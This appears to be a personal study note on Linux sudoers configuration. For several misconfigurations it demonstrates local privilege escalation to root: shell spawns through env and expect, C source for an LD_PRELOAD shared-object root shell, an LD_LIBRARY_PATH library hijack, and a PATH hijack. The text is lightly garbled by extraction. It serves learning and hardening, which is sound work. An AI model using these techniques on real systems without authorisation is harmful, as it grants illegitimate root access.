Background
- To edit
/etc/sudoers, usevisudo1sudo visudo - To verify current sudo configuration,
1 2 3 4 5 6# Validate sudoers syntax first sudo visudo -c # Force re‑auth then cache credentials sudo -k && sudo -v # Confirm what the user can do sudo -lsudo -k: Remove current cached credentialssudo -v: Reauthenticate user
Default sudo -l
- A user that is created normally would not be able to run
sudoWhen we run sudo,1 2sudo useradd normaluser sudo passwd normaluser1 2 3$ sudo -l [sudo] password for normaluser: Sorry, user normaluser may not run sudo on kali. - We have to add the user to the
sudogroup or explicitly define the permissions of the user in order for the user to usesudo - This is the default sudoers file in Kali
1 2 3 4 5 6 7 8sudo cat /etc/sudoers | grep -v "#\|^$" Defaults env_reset Defaults mail_badpass Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" Defaults use_pty root ALL=(ALL:ALL) ALL %sudo ALL=(ALL:ALL) ALL @includedir /etc/sudoers.denv_reset: Means environment variables will be reset. Very important because some commands functions differently based on environment variablesmail_badpass: Sends email if there is an authentication errorsecure_path: Specify the$PATHenv variable for root insudo. Very important because we may be able to change the binary that is actually executeduse_pty: Uses a virtual terminal. Helps prevent some attacksroot ALL=(ALL:ALL) ALL: Root can run any command as any user and any group%sudo ALL=(ALL:ALL) ALL: The sudo group can run any command as any user and any group
Allow user to run all commands as root
- The easiest way is to add the user to the
sudogroupOutput:1sudo usermod -aG sudo normaluser1 2 3 4 5 6 7 8 9$ sudo -l [sudo] password for normaluser: Matching Defaults entries for normaluser on kali: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User normaluser may run the following commands on kali: (ALL : ALL) ALL - To remove the user from the sudoers group,
1sudo gpasswd --delete normaluser sudo
Allow user to run all commands as another user or group
- To achieve this, we need to edit the sudoers file directly
1 2 3# User privilege specification root ALL=(ALL:ALL) ALL normaluser ALL=(kali:kali) ALL
- In this case, the user
normalusercan run commands as user and groupkali
- There is a privilege escalation opportunity if
kaliis part ofsudogroups/ have extra sudo privileges1 2 3 4 5 6 7 8 9 10 11 12$ sudo -l Matching Defaults entries for normaluser on kali: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User normaluser may run the following commands on kali: (kali : kali) ALL $ sudo -u kali bash ┌──(kali㉿kali)-[~/learning_materials/learn_sudoers] └─$ groups kali sudo
Allow user to run specific commands as sudo
- To achieve it, modify the sudoers like this
1 2 3# User privilege specification root ALL=(ALL:ALL) ALL normaluser ALL=(root:root) /usr/bin/env
normalusercan run/usr/bin/envas root
- Depending on the binary, it can be a privilege escalation vulnerability/opportunity
1 2 3 4 5 6 7 8 9$sudo -l Matching Defaults entries for normaluser on kali: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User normaluser may run the following commands on kali: (root : root) /usr/bin/env $ sudo env /bin/bash ┌──(root㉿kali)-[/home/kali/learning_materials/learn_sudoers] └─#
Allow user to run sudo without password
- To do so, specify the
NOPASSWDrule1 2 3# User privilege specification root ALL=(ALL:ALL) ALL normaluser ALL=(root) NOPASSWD: /usr/bin/expect- We can now run commands without knowing the password of
normaluser. - Only use this option in a controlled setting
- It is usually used in automation scripts
- We can now run commands without knowing the password of
- Still a privilege escalation opportunity.
1 2 3 4 5 6 7 8 9 10 11 12$ sudo -l Matching Defaults entries for normaluser on kali: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User normaluser may run the following commands on kali: (root) NOPASSWD: /usr/bin/expect $ sudo /usr/bin/expect -c 'spawn /bin/sh;interact' spawn /bin/sh # id uid=0(root) gid=0(root) groups=0(root)
Preserve Environment Variables
- This is an insecure configuration as a lot of binaries works differently based on the presence of certain environment variables and we can preload certain Shared Objects.
- To preserve environment variables except $PATH,
1 2 3 4 5 6 7 8Defaults:!normaluser env_reset # ... Defaults:normaluser !env_reset Defaults:normaluser env_delete+=PATH # User privilege specification root ALL=(ALL:ALL) ALL normaluser kali=(root) SETENV: /usr/bin/ls -laDefaults:normaluser: This configuration affects normaluser only!env_reset: Reset environment variablesenv_delete+=PATH: Don’t reset the PATH variable. It prevents other bypassesSETENVis required because Linux does not allow us to setLD_PRELOAD,LD_LIBRARY_PATHor other dangerous variables Output:
1 2 3 4 5 6 7 8 9$ sudo -l Matching Defaults entries for normaluser on kali: mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !env_reset, env_delete+=PATH, use_pty User normaluser may run the following commands on kali: (root) SETENV: /usr/bin/ls -la - Although
ls -lado not have a privilege escalation opportunity, the fact that environment variables are kept allows shared object exploit. First, create a file calledroot.cCompile it as a shared object.1 2 3 4 5 6 7 8 9 10 11#include <stdio.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> void _init() { unsetenv("LD_PRELOAD"); // important to prevent infinite loops apparently setgid(0); setuid(0); system("/bin/bash"); }Then, pass1gcc -fPIC -shared -o root.so root.c -nostartfilesLD_PRELOADas an environment variable when calling the binary. This loads the SO, which is then executed like any executable.Output:1sudo LD_PRELOAD=`pwd`/root.so /usr/bin/ls -la1 2$ sudo LD_PRELOAD=`pwd`/root.so /usr/bin/ls -la root@kali:/home/kali/learning_materials/learn_sudoers# - Reflection: This is interesting as I swear previously the SETENV flag was not required for this type of privilege escalation
Preserve selected Environment Variables
- To preserve only certain environment variables (safer),Output:
1 2 3 4Defaults env_reset Defaults:normaluser env_keep+=LD_LIBRARY_PATH # User privilege specification normaluser kali=(root) /home/kali/learning_materials/learn_sudoers/test21 2 3 4 5 6 7 8$ sudo -l Matching Defaults entries for normaluser on kali: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_LIBRARY_PATH, use_pty User normaluser may run the following commands on kali: (root) /home/kali/learning_materials/learn_sudoers/test2 - This configuration is unfortunately still vulnerable to a privilege escalation technique.
Identify one of the linked libraries in use.Compile the previous binary as one of the linked libraries
1 2 3 4 5$ ldd test2 linux-vdso.so.1 (0x00007f9cff805000) libfoo.so => not found libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9cff5ea000) /lib64/ld-linux-x86-64.so.2 (0x00007f9cff807000)Set the Linked library path to the current directory1gcc -fPIC -shared -o libfoo.so root.c -nostartfilesOutput:1sudo LD_LIBRARY_PATH=`pwd`:$LD_LIBRARY_PATH /home/kali/learning_materials/learn_sudoers/test21 2 3┌──(root㉿kali)-[/home/kali/learning_materials/learn_sudoers] └─# id uid=0(root) gid=0(root) groups=0(root)
Preserve selected Environment Variables 2
- To preserve only certain environment variables (safer),
1 2 3 4Defaults env_reset Defaults:normaluser env_keep+=PATH # User privilege specification normaluser kali=(root) ls -la - This configuration is unfortunately still vulnerable to a privilege escalation technique.
Create a rootshell binaryCompile the root shell binary as the allowed binary
1 2 3 4 5 6 7 8 9 10 11// root.c #include <stdio.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> void main() { setgid(0); setuid(0); system("/bin/bash"); }Set the PATH variable1gcc root_not_so.c -o lsExecute the sudo command1 2 3$ PATH=`pwd`:$PATH $ echo $PATH /home/kali/learning_materials/learn_sudoers:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games- This does not work in the current version of
sudo:/etc/sudoers:49:24: expected a fully-qualified path name
- This does not work in the current version of
References
- Sudoers Manual: https://www.sudo.ws/docs/man/sudoers.man/
- Good Medium Post on Sudoers misconfigurations: https://medium.com/@mysticraganork66/why-misconfigured-sudo-is-a-hackers-playground-3e23ab15c889